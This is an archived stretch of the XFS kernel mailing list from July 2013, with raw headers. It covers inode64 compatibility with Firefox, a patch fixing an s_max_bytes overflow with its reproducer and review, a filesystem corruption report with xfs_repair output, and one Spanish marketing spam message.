Level1 [gmail.com/209.85.214.171] X-Barracuda-IPDD: Level1 [gmail.com/209.85.214.171] DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=20120113; h=subject:mime-version:content-type:from:in-reply-to:date:cc :content-transfer-encoding:message-id:references:to:x-mailer; bh=LlAh9ztNkGsLyFeyoBb+ie7d/arDSNkFW0TztGzIzhQ=; b=rnYvBybSZlCy9PifW47bUKvUCvtDUXW4g348k3IjqRE40/uBoGcmJh85wp4dpTgKIO azSzy34iKJBgnciZbd/r59QT2uqM0GKvGDsMRFGVh0Zl4+Z/ii+hRfsIvqPGY3I4jFwa iGyF5+Bg1XM7hIlO10VumbY7WBFN8OO8z+I7/vAqYkL26o1XJP79AjiyPFIloiIpU8ji SpTZS6umBQ2e6lt0ZQGzmUxWjxmrSdta8eu6l81aihQGSPVObMM+lM5OgHSVd91l6g4t 9n7BYcrazcfmZOcVjIsvhhiT1a8E8jcUUI+/K2HsAugC8Yw2JsyPwSznkY8MhT3UAmOK Nwzg== X-Received: by 10.182.33.103 with SMTP id q7mr26623681obi.77.1373427742350; Tue, 09 Jul 2013 20:42:22 -0700 (PDT) Received: from [192.168.1.74] (75-63-29-182.lightspeed.irvnca.sbcglobal.net. [75.63.29.182]) by mx.google.com with ESMTPSA id fk3sm41891286obb.2.2013.07.09.20.42.20 for (version=TLSv1 cipher=ECDHE-RSA-RC4-SHA bits=128/128); Tue, 09 Jul 2013 20:42:21 -0700 (PDT) Subject: Re: inode64 and Firefox - update Mime-Version: 1.0 (Apple Message framework v1085) X-ASG-Orig-Subj: Re: inode64 and Firefox - update Content-Type: text/plain; charset=us-ascii From: aurfalien In-Reply-To: <51DC1FB4.7010108@hardwarefreak.com> Date: Tue, 9 Jul 2013 20:42:18 -0700 Cc: Eric Sandeen , xfs@oss.sgi.com Content-Transfer-Encoding: quoted-printable Message-Id: <8DDD97E6-C0CD-43B8-89D5-F1F196F1F094@gmail.com> References: <51DC1600.7080906@sandeen.net> <51DC198C.70106@sandeen.net> <51DC1FB4.7010108@hardwarefreak.com> To: stan@hardwarefreak.com X-Mailer: Apple Mail (2.1085) X-Barracuda-Connect: mail-ob0-f171.google.com[209.85.214.171] X-Barracuda-Start-Time: 1373427742 X-Barracuda-Encrypted: RC4-SHA X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=BSF_SC0_MISMATCH_TO, DKIM_SIGNED, DKIM_VERIFIED X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.136319 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.00 BSF_SC0_MISMATCH_TO Envelope rcpt doesn't match header -0.00 DKIM_VERIFIED Domain Keys Identified Mail: signature passes verification 0.00 DKIM_SIGNED Domain Keys Identified Mail: message has a signature On Jul 9, 2013, at 7:35 AM, Stan Hoeppner wrote: > On 7/9/2013 9:09 AM, Eric Sandeen wrote: >> On 7/9/13 9:08 AM, aurfalien wrote: >>>=20 >>> On Jul 9, 2013, at 6:54 AM, Eric Sandeen wrote: >>>=20 >>>> On 7/9/13 8:37 AM, aurfalien wrote: >>>>> Before I dig deeper, wondering if any one has issues running = Firefox v22 from an XFS file system mounted using inode64 option? >>>>=20 >>>> I've not tried it, but first question - 32-bit or 64-bit firefox? >>>=20 >>> Its 32 bit FF. Thunderbird also has issues. Too bad :( >>=20 >> Ok, below was for 64-bit, even! >>=20 >> I'd file a bug w/ them, it can't be that hard to fix. Modern = filesystems have 64 bit inodes, they should handle it! >>=20 >> -Eric >>=20 >>> Stuck in the stone age. Got a 24TB fs functioning as a home dir for = ~100 pplz that I would like to modernize. >=20 > Is XFS being mounted via NFS or Samba? Do your server and client > versions of these support 64 bit inodes? If these are 32 bit Windows > clients I think it's pretty certain they don't/can't handle 64 bit > inodes. Thus this may not be strictly a FF/TB problem. We need more > information. >=20 > --=20 > Stan UPDATE Latest 64 bit Firefox/Thunderflop work just fine via inode64. Testing other apps but so far so good. Some plugins may be an issue but those may as well be local. - aurf= From rebote@enviosjireh.com Tue Jul 9 22:45:55 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: ** X-Spam-Status: No, score=2.2 required=5.0 tests=HTML_IMAGE_ONLY_32, HTML_MESSAGE,T_DKIM_INVALID autolearn=no version=3.3.1 X-Original-To: linux-xfs@oss.sgi.com Delivered-To: linux-xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id A52EF7F3F for ; Tue, 9 Jul 2013 22:45:55 -0500 (CDT) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay2.corp.sgi.com (Postfix) with ESMTP id 87BB730404E for ; Tue, 9 Jul 2013 20:45:52 -0700 (PDT) X-ASG-Debug-ID: 1373427949-04cb6c2a47ab2b00001-w1Z2WR Received: from mx44.psemkt.com ([46.105.235.110]) by cuda.sgi.com with ESMTP id GgxG38W2wAg5JHgH for ; Tue, 09 Jul 2013 20:45:50 -0700 (PDT) X-Barracuda-Envelope-From: rebote@enviosjireh.com X-Barracuda-Apparent-Source-IP: 46.105.235.110 DKIM-Signature: v=1; a=rsa-sha1; c=relaxed/relaxed; s=DKIM1; d=psemkt.com; h=To:Subject:Message-ID:Date:From:Reply-To:MIME-Version:List-Unsubscribe:Content-Type:Content-Transfer-Encoding; i=support@psemkt.com; bh=5PWyPDEA+mlA3WnXzNH6pJs09RA=; b=m4va8S0yPiaxjFJpPdxoXIzI3cq7pDURYb5ULpKXnjkWsC7D4fxfTdtUDI5fxG9TRW6IUajg907A Qe9Gkh46XTkfExNL71CRC1oZbG3WX7nbA/rMi9Lu3az7rStGZYKZuRfDYxBz7XvmdCeiq/slIAvc ZfbqUAQGN5VlCEocuKM= To: linux-xfs@oss.sgi.com Subject: =?UTF-8?B?RXN0YXMgYSB1biBQYXNvIGRlIHByb2JhciBudWVzdHJvIE5VRVZPIENhZsOpIEdvdXJtZXQ=?= Message-ID: <2d0ae0a335e97c404b41ad242db96c30@enviosjireh.com> X-ASG-Orig-Subj: =?UTF-8?B?RXN0YXMgYSB1biBQYXNvIGRlIHByb2JhciBudWVzdHJvIE5VRVZPIENhZsOpIEdvdXJtZXQ=?= Date: Tue, 09 Jul 2013 22:45:40 -0500 From: "=?UTF-8?B?RXN0YXMgYSB1biBQYXNvIGRlIHByb2JhciBudWVzdHJvIE5VRVZPIENhZsOpIEdvdXJtZXQ=?=" Reply-To: jiremail8@gmail.com MIME-Version: 1.0 X-Mailer-LID: 22 List-Unsubscribe: X-Mailer-RecptId: 1125462 X-Mailer-SID: 34 X-Mailer-Sent-By: 1 Content-Type: multipart/alternative; charset="UTF-8"; boundary="b1_1d28e9b32a8991dbe15e2b4863c713fe" Content-Transfer-Encoding: 8bit X-Barracuda-Connect: UNKNOWN[46.105.235.110] X-Barracuda-Start-Time: 1373427949 X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.70 X-Barracuda-Spam-Status: No, SCORE=0.70 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=BSF_SC0_SA148a, BSF_SC5_MJ1963, DKIM_SIGNED, DKIM_VERIFIED, HTML_IMAGE_ONLY_32, HTML_MESSAGE, RDNS_NONE X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.136319 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- -0.00 DKIM_VERIFIED Domain Keys Identified Mail: signature passes verification 0.00 DKIM_SIGNED Domain Keys Identified Mail: message has a signature 0.10 BSF_SC0_SA148a URI: Custom Rule SA148a 0.00 HTML_IMAGE_ONLY_32 BODY: HTML: images with 2800-3200 bytes of words 0.00 HTML_MESSAGE BODY: HTML included in message 0.10 RDNS_NONE Delivered to trusted network by a host with no rDNS 0.50 BSF_SC5_MJ1963 Custom Rule MJ1963 --b1_1d28e9b32a8991dbe15e2b4863c713fe Content-Type: text/plain; format=flowed; charset="UTF-8" Content-Transfer-Encoding: 8bit Su cliente de correo electrónico no puede leer este e-mail. Para ver en línea, por favor haga clic aquí: http://enviosjireh.com/display.php?M=1125462&C=4e707aa8891623c1e734f278dba5f5ca&S=34&L=22&N=11 Para dejar de recibir estos correos electrónicos:http://enviosjireh.com/unsubscribe.php?M=1125462&C=4e707aa8891623c1e734f278dba5f5ca&L=22&N=34 --b1_1d28e9b32a8991dbe15e2b4863c713fe Content-Type: text/html; charset="UTF-8" Content-Transfer-Encoding: 8bit                                                
                                                                                           Si  no puede  ver  la  imagen  HAGA CLICK AQUÍ






    NOTA  MUY  IMPORTANTE:   Le  recomendamos  utilizar  y   valorar  y  apoyar  este  tipo  de  publicidad  por  Email Marketing.  Por  los  siguientes  beneficios

    1-NO USAMOS PAPEL. Y  es   100 %  amigable  con  el  medio  ambiente  porqué    NO TALAMOS  ARBOLES.

    2-NO  USAMOS TINTAS. Por  lo  tanto  no  usamos  petróleo  ni  materias  primas  no  renovables.

    3-NO  REQUIERE  DE  IMPRESIÓN: Economizamos  energía  eléctrica.

    4-NO PRODUCE DESECHOS.  Por  lo  tanto  no aportamos  mas  basura  a  nuestro  medio  ambiente.

     

    Pero  aun  así si  desea  des escribirse  haga  click  aquí: Darse de baja en la lista

      








    --b1_1d28e9b32a8991dbe15e2b4863c713fe-- From jeff.liu@oracle.com Wed Jul 10 01:28:19 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id 820387F37 for ; Wed, 10 Jul 2013 01:28:19 -0500 (CDT) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay3.corp.sgi.com (Postfix) with ESMTP id F292CAC005 for ; Tue, 9 Jul 2013 23:28:15 -0700 (PDT) X-ASG-Debug-ID: 1373437691-04cb6c2a46abe110001-NocioJ Received: from aserp1040.oracle.com (aserp1040.oracle.com [141.146.126.69]) by cuda.sgi.com with ESMTP id JLcdO7cbreoy2D7a (version=TLSv1 cipher=AES256-SHA bits=256 verify=NO) for ; Tue, 09 Jul 2013 23:28:11 -0700 (PDT) X-Barracuda-Envelope-From: jeff.liu@oracle.com X-Barracuda-Apparent-Source-IP: 141.146.126.69 Received: from acsinet21.oracle.com (acsinet21.oracle.com [141.146.126.237]) by aserp1040.oracle.com (Sentrion-MTA-4.3.1/Sentrion-MTA-4.3.1) with ESMTP id r6A6S7Yu025625 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK); Wed, 10 Jul 2013 06:28:08 GMT Received: from userz7022.oracle.com (userz7022.oracle.com [156.151.31.86]) by acsinet21.oracle.com (8.14.4+Sun/8.14.4) with ESMTP id r6A6S63H011760 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Wed, 10 Jul 2013 06:28:07 GMT Received: from abhmt106.oracle.com (abhmt106.oracle.com [141.146.116.58]) by userz7022.oracle.com (8.14.4+Sun/8.14.4) with ESMTP id r6A6S6s9011462; Wed, 10 Jul 2013 06:28:06 GMT Received: from [192.168.1.103] (/123.119.96.202) by default (Oracle Beehive Gateway v4.0) with ESMTP ; Tue, 09 Jul 2013 23:28:06 -0700 Message-ID: <51DCFF04.9070606@oracle.com> Date: Wed, 10 Jul 2013 14:28:20 +0800 From: Jeff Liu User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:11.0) Gecko/20120410 Thunderbird/11.0.1 MIME-Version: 1.0 To: "xfs@oss.sgi.com" CC: "Michael L. Semon" Subject: Re: [PATCH] xfs: fix s_max_bytes to MAX_LFS_FILESIZE if needed References: <5167E160.3020800@oracle.com> X-ASG-Orig-Subj: Re: [PATCH] xfs: fix s_max_bytes to MAX_LFS_FILESIZE if needed In-Reply-To: <5167E160.3020800@oracle.com> Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 7bit X-Source-IP: acsinet21.oracle.com [141.146.126.237] X-Barracuda-Connect: aserp1040.oracle.com[141.146.126.69] X-Barracuda-Start-Time: 1373437691 X-Barracuda-Encrypted: AES256-SHA X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=MAILTO_TO_SPAM_ADDR X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.136331 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.00 MAILTO_TO_SPAM_ADDR URI: Includes a link to a likely spammer email Could anyone help to review this patch? Thanks, -Jeff On 04/12/2013 06:26 PM, Jeff Liu wrote: > From: Jie Liu > > On 32-bit machine, the s_maxbytes is larger than the MAX_LFS_FILESIZE limits if CONFIG_LBDAF is > not enabled. Hence it's possible to create a huge file via buffered-IO write with a given offset > beyond this limitation. e.g. > > # block_size=4096 > # offset=$(((2**32 - 1) * $block_size)) > # xfs_io -f -c "pwrite $offset $block_size" /storage/test_file > > In this case, xfs_io will hang at the page writeback stage soon since the given offset would > cause an overflow at xfs_vm_writepage(): > > end_index = offset >> PAGE_CACHE_SHIFT; > last_index = (offset - 1) >> PAGE_CACHE_SHIFT; > if (page->index >= end_index) { > unsigned offset_into_page = offset & (PAGE_CACHE_SIZE - 1); > > /* > * Just skip the page if it is fully outside i_size, e.g. due > * to a truncate operation that is in progress. > */ > if (page->index >= end_index + 1 || offset_into_page == 0) { > ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ > unlock_page(page); > return 0; > } > end_index is unsigned long so that the max value is '2^32-1 = 4294967295', and it > would be evaluated to the max value with the given offset(when writing the page offset > up to s_max_bytes) for above test case. As a result, (page->index >= end_index + 1) is > ok as (end_index + 1) is overflowed to ZERO. > > Actually, create a file as above on 32-bit machine should be failed with EFBIG error returned > because there has strict check up at generic_write_checks() against the given offset with a > *correct* s_max_bytes. > > This patch fix the s_max_bytes to MAX_LFS_FILESIZE if the pre-calculated value is greater > than it. > > Reported-by: Michael L. Semon > Signed-off-by: Jie Liu > > --- > fs/xfs/xfs_super.c | 6 +++++- > 1 file changed, 5 insertions(+), 1 deletion(-) > > diff --git a/fs/xfs/xfs_super.c b/fs/xfs/xfs_super.c > index ea341ce..0644d61 100644 > --- a/fs/xfs/xfs_super.c > +++ b/fs/xfs/xfs_super.c > @@ -585,6 +585,7 @@ xfs_max_file_offset( > { > unsigned int pagefactor = 1; > unsigned int bitshift = BITS_PER_LONG - 1; > + __uint64_t offset; > > /* Figure out maximum filesize, on Linux this can depend on > * the filesystem blocksize (on 32 bit platforms). > @@ -610,7 +611,10 @@ xfs_max_file_offset( > # endif > #endif > > - return (((__uint64_t)pagefactor) << bitshift) - 1; > + offset = (((__uint64_t)pagefactor) << bitshift) - 1; > + > + /* Check against VM & VFS exposed limits */ > + return (offset > MAX_LFS_FILESIZE) ? MAX_LFS_FILESIZE : offset; > } > > xfs_agnumber_t From david@fromorbit.com Wed Jul 10 01:49:05 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id DB0207F53 for ; Wed, 10 Jul 2013 01:49:05 -0500 (CDT) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay1.corp.sgi.com (Postfix) with ESMTP id CBE3D8F8052 for ; Tue, 9 Jul 2013 23:49:02 -0700 (PDT) X-ASG-Debug-ID: 1373438940-04cbb0468ed74b10001-NocioJ Received: from ipmail06.adl6.internode.on.net (ipmail06.adl6.internode.on.net [150.101.137.145]) by cuda.sgi.com with ESMTP id ke1VtkDJzGr9wrdM for ; Tue, 09 Jul 2013 23:49:01 -0700 (PDT) X-Barracuda-Envelope-From: david@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.145 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: AuUMAMMC3VF5LD3k/2dsb2JhbABagwmDHrlAhSgEAYEOF3SCIwEBBAEnExweBRAIAxgJJQ8FJQMhE4gJBbkoFo4pD4EdB4N0A5dTiiGHKYMjKoEt Received: from ppp121-44-61-228.lns20.syd6.internode.on.net (HELO dastard) ([121.44.61.228]) by ipmail06.adl6.internode.on.net with ESMTP; 10 Jul 2013 16:18:59 +0930 Received: from dave by dastard with local (Exim 4.76) (envelope-from ) id 1UwoCt-0006VA-Ft; Wed, 10 Jul 2013 16:48:55 +1000 Date: Wed, 10 Jul 2013 16:48:55 +1000 From: Dave Chinner To: Jeff Liu Cc: "xfs@oss.sgi.com" , "Michael L. Semon" Subject: Re: [PATCH] xfs: fix s_max_bytes to MAX_LFS_FILESIZE if needed Message-ID: <20130710064855.GQ3438@dastard> X-ASG-Orig-Subj: Re: [PATCH] xfs: fix s_max_bytes to MAX_LFS_FILESIZE if needed References: <5167E160.3020800@oracle.com> <51DCFF04.9070606@oracle.com> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <51DCFF04.9070606@oracle.com> User-Agent: Mutt/1.5.21 (2010-09-15) X-Barracuda-Connect: ipmail06.adl6.internode.on.net[150.101.137.145] X-Barracuda-Start-Time: 1373438940 X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.136333 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- On Wed, Jul 10, 2013 at 02:28:20PM +0800, Jeff Liu wrote: > Could anyone help to review this patch? Sorry, I missed it. > > On 32-bit machine, the s_maxbytes is larger than the MAX_LFS_FILESIZE limits if CONFIG_LBDAF is > > not enabled. Hence it's possible to create a huge file via buffered-IO write with a given offset > > beyond this limitation. e.g. > > > > # block_size=4096 > > # offset=$(((2**32 - 1) * $block_size)) > > # xfs_io -f -c "pwrite $offset $block_size" /storage/test_file > > > > In this case, xfs_io will hang at the page writeback stage soon since the given offset would > > cause an overflow at xfs_vm_writepage(): > > > > end_index = offset >> PAGE_CACHE_SHIFT; > > last_index = (offset - 1) >> PAGE_CACHE_SHIFT; > > if (page->index >= end_index) { > > unsigned offset_into_page = offset & (PAGE_CACHE_SIZE - 1); > > > > /* > > * Just skip the page if it is fully outside i_size, e.g. due > > * to a truncate operation that is in progress. > > */ > > if (page->index >= end_index + 1 || offset_into_page == 0) { > > ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ > > unlock_page(page); > > return 0; > > } > > end_index is unsigned long so that the max value is '2^32-1 = 4294967295', and it > > would be evaluated to the max value with the given offset(when writing the page offset > > up to s_max_bytes) for above test case. As a result, (page->index >= end_index + 1) is > > ok as (end_index + 1) is overflowed to ZERO. > > > > Actually, create a file as above on 32-bit machine should be failed with EFBIG error returned > > because there has strict check up at generic_write_checks() against the given offset with a > > *correct* s_max_bytes. > > > > This patch fix the s_max_bytes to MAX_LFS_FILESIZE if the pre-calculated value is greater > > than it. Isn't MAX_LFS_FILESIZE defined on 32 bit systems to 8TB and the problem here is that we are overflowing at 16TB? If so, that means addin gthis patch will potentially cause problems with existing working setups that have (sparse) files larger than 8TB on 32 bit systems. So, can't we simply subtract PAGE_CACHE_SIZE from the offset being returned to avoid this overflow? Cheers, Dave. -- Dave Chinner david@fromorbit.com From markus@trippelsdorf.de Wed Jul 10 04:06:39 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.1 required=5.0 tests=FROM_12LTRDOM,T_DKIM_INVALID autolearn=no version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id B6A357F56 for ; Wed, 10 Jul 2013 04:06:39 -0500 (CDT) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay3.corp.sgi.com (Postfix) with ESMTP id 3049BAC005 for ; Wed, 10 Jul 2013 02:06:38 -0700 (PDT) X-ASG-Debug-ID: 1373447195-04cbb0468ed7f030001-NocioJ Received: from mail.ud10.udmedia.de (ud10.udmedia.de [194.117.254.50]) by cuda.sgi.com with ESMTP id wfxmNUxasWFAcvqU (version=TLSv1 cipher=AES256-SHA bits=256 verify=NO) for ; Wed, 10 Jul 2013 02:06:36 -0700 (PDT) X-Barracuda-Envelope-From: markus@trippelsdorf.de X-Barracuda-Apparent-Source-IP: 194.117.254.50 DKIM-Signature: v=1; a=rsa-sha256; c=simple; d=mail.ud10.udmedia.de; h= date:from:to:subject:message-id:mime-version:content-type; s= beta; bh=FmwTxFm5phQCpwDEp/3szN5+FO6K79aFFw5vyycsnOo=; b=RsJ+FO+ Dz9suZEBeLYb7HPF8B2IL5HVv6pDdaiQ5lp4jpyu/WLIWnz3C47keQmLDZJcpg+0 72fBkYzCJgcKZ5YeQgzTS6DSIk37JnribSu6PgVuFu3zv42vXTkZnT8Aoyh5O2zC UxiVxFzZ3hM0Xz6pkopHRhhwCLgH6WpXbNC4= Received: (qmail 455 invoked from network); 10 Jul 2013 11:06:34 +0200 Received: from unknown (HELO x4) (ud10?360p3@91.64.96.185) by mail.ud10.udmedia.de with ESMTPSA (DHE-RSA-AES256-SHA encrypted, authenticated); 10 Jul 2013 11:06:34 +0200 Date: Wed, 10 Jul 2013 11:06:34 +0200 From: Markus Trippelsdorf To: xfs@oss.sgi.com Subject: Corruption of root fs during git bisect of drm system hang Message-ID: <20130710090634.GA356@x4> X-ASG-Orig-Subj: Corruption of root fs during git bisect of drm system hang MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline X-Barracuda-Connect: ud10.udmedia.de[194.117.254.50] X-Barracuda-Start-Time: 1373447196 X-Barracuda-Encrypted: AES256-SHA X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=DKIM_SIGNED, DKIM_VERIFIED X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.136341 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- -0.00 DKIM_VERIFIED Domain Keys Identified Mail: signature passes verification 0.00 DKIM_SIGNED Domain Keys Identified Mail: message has a signature While bisecting a system hang, caused by the drm gpu subsystem, my root fs got corrupted: # xfs_repair /dev/sdc2 Phase 1 - find and verify superblock... Phase 2 - using internal log - zero log... - scan filesystem freespace and inode maps... agi unlinked bucket 6 is 682886 in ag 3 (inode=101346182) agi unlinked bucket 7 is 11335 in ag 3 (inode=100674631) agi unlinked bucket 10 is 682890 in ag 3 (inode=101346186) agi unlinked bucket 21 is 981 in ag 3 (inode=100664277) agi unlinked bucket 23 is 5704343 in ag 3 (inode=106367639) agi unlinked bucket 29 is 211421 in ag 3 (inode=100874717) agi unlinked bucket 31 is 7681375 in ag 3 (inode=108344671) agi unlinked bucket 34 is 3480162 in ag 3 (inode=104143458) agi unlinked bucket 40 is 211432 in ag 3 (inode=100874728) agi unlinked bucket 41 is 2704937 in ag 3 (inode=103368233) agi unlinked bucket 45 is 594669 in ag 3 (inode=101257965) agi unlinked bucket 62 is 11902 in ag 3 (inode=100675198) - found root inode chunk Phase 3 - for each AG... - scan and clear agi unlinked lists... - process known inodes and perform inode discovery... - agno = 0 - agno = 1 - agno = 2 7f560b7fe700: Badness in key lookup (length) bp=(bno 46883808, len 16384 bytes) key=(bno 46883808, len 8192 bytes) 7f560b7fe700: Badness in key lookup (length) bp=(bno 46888976, len 16384 bytes) key=(bno 46888976, len 8192 bytes) 7f560b7fe700: Badness in key lookup (length) bp=(bno 46889264, len 16384 bytes) key=(bno 46889264, len 8192 bytes) 7f560b7fe700: Badness in key lookup (length) bp=(bno 46989024, len 16384 bytes) key=(bno 46989024, len 8192 bytes) 7f560b7fe700: Badness in key lookup (length) bp=(bno 47180640, len 16384 bytes) key=(bno 47180640, len 8192 bytes) 7f560b7fe700: Badness in key lookup (length) bp=(bno 47224768, len 16384 bytes) key=(bno 47224768, len 8192 bytes) 7f560b7fe700: Badness in key lookup (length) bp=(bno 48235776, len 16384 bytes) key=(bno 48235776, len 8192 bytes) 7f560b7fe700: Badness in key lookup (length) bp=(bno 48623392, len 16384 bytes) key=(bno 48623392, len 8192 bytes) 7f560b7fe700: Badness in key lookup (length) bp=(bno 49735472, len 16384 bytes) key=(bno 49735472, len 8192 bytes) 7f560b7fe700: Badness in key lookup (length) bp=(bno 50723984, len 16384 bytes) key=(bno 50723984, len 8192 bytes) - agno = 3 - process newly discovered inodes... Phase 4 - check for duplicate blocks... - setting up duplicate extent list... - check for inodes claiming duplicate blocks... - agno = 0 - agno = 1 - agno = 2 - agno = 3 Phase 5 - rebuild AG headers and trees... - reset superblock... Phase 6 - check inode connectivity... - resetting contents of realtime bitmap and summary inodes - traversing filesystem ... - traversal finished ... - moving disconnected inodes to lost+found ... disconnected inode 100664277, moving to lost+found disconnected inode 100674631, moving to lost+found disconnected inode 100675198, moving to lost+found disconnected inode 100874717, moving to lost+found disconnected inode 100874728, moving to lost+found disconnected inode 101257965, moving to lost+found disconnected inode 101346182, moving to lost+found disconnected inode 101346186, moving to lost+found disconnected inode 103368233, moving to lost+found disconnected inode 104143458, moving to lost+found disconnected inode 106367639, moving to lost+found disconnected inode 108344671, moving to lost+found Phase 7 - verify and correct link counts... cache_purge: shake on cache 0x12a6030 left 1 nodes!? done This happend twice in the last few days and thus appears to be reproducible. My root fs lives on a small SSD: /dev/root on / type xfs (rw,relatime,attr2,inode64,logbsize=256k,noquota) /dev/root xfs 30G 15G 16G 50% / -- Markus From ydroneaud@opteya.com Wed Jul 10 05:01:04 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id A6F6D7F5D for ; Wed, 10 Jul 2013 05:01:04 -0500 (CDT) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay2.corp.sgi.com (Postfix) with ESMTP id 94FC230407A for ; Wed, 10 Jul 2013 03:01:01 -0700 (PDT) X-ASG-Debug-ID: 1373450458-04cb6c2a42ace670001-NocioJ Received: from mx-out.ocsa-data.net (mx-out.ocsa-data.net [194.36.166.37]) by cuda.sgi.com with ESMTP id HGm8RSoLFPlXv0fM (version=TLSv1 cipher=AES256-SHA bits=256 verify=NO); Wed, 10 Jul 2013 03:00:59 -0700 (PDT) X-Barracuda-Envelope-From: ydroneaud@opteya.com X-Barracuda-Apparent-Source-IP: 194.36.166.37 Received: from [192.168.111.12] (helo=rc.ouvaton.coop) by mx-out.ocsa-data.net with esmtpa (Exim - FreeBSD Rulez) id 1UwrCk-000K4J-6x; Wed, 10 Jul 2013 12:00:58 +0200 MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8; format=flowed Content-Transfer-Encoding: 8bit Date: Wed, 10 Jul 2013 12:00:57 +0200 From: Yann Droneaud To: Ben Myers Cc: linux-kernel@vger.kernel.org, xfs@oss.sgi.com, ydroneaud@opteya.com Subject: Re: [PATCH 10/13] xfs: use =?UTF-8?Q?get=5Funused=5Ffd=5Fflags=28?= =?UTF-8?Q?=30=29=20instead=20of=20get=5Funused=5Ffd=28=29?= Organization: OPTEYA X-ASG-Orig-Subj: Re: [PATCH 10/13] xfs: use =?UTF-8?Q?get=5Funused=5Ffd=5Fflags=28?= =?UTF-8?Q?=30=29=20instead=20of=20get=5Funused=5Ffd=28=29?= In-Reply-To: <20130709205321.GV20932@sgi.com> References: <8d21b76c621dbfc59b2dbbfc933f96170835304d.1372777600.git.ydroneaud@opteya.com> <20130708224133.GA23250@sgi.com> <20130709205321.GV20932@sgi.com> Message-ID: <70a3a6971c3127226563e9538ae53bec@meuh.org> X-Sender: ydroneaud@opteya.com User-Agent: Roundcube Webmail/0.9.2 X-abuse-contact: 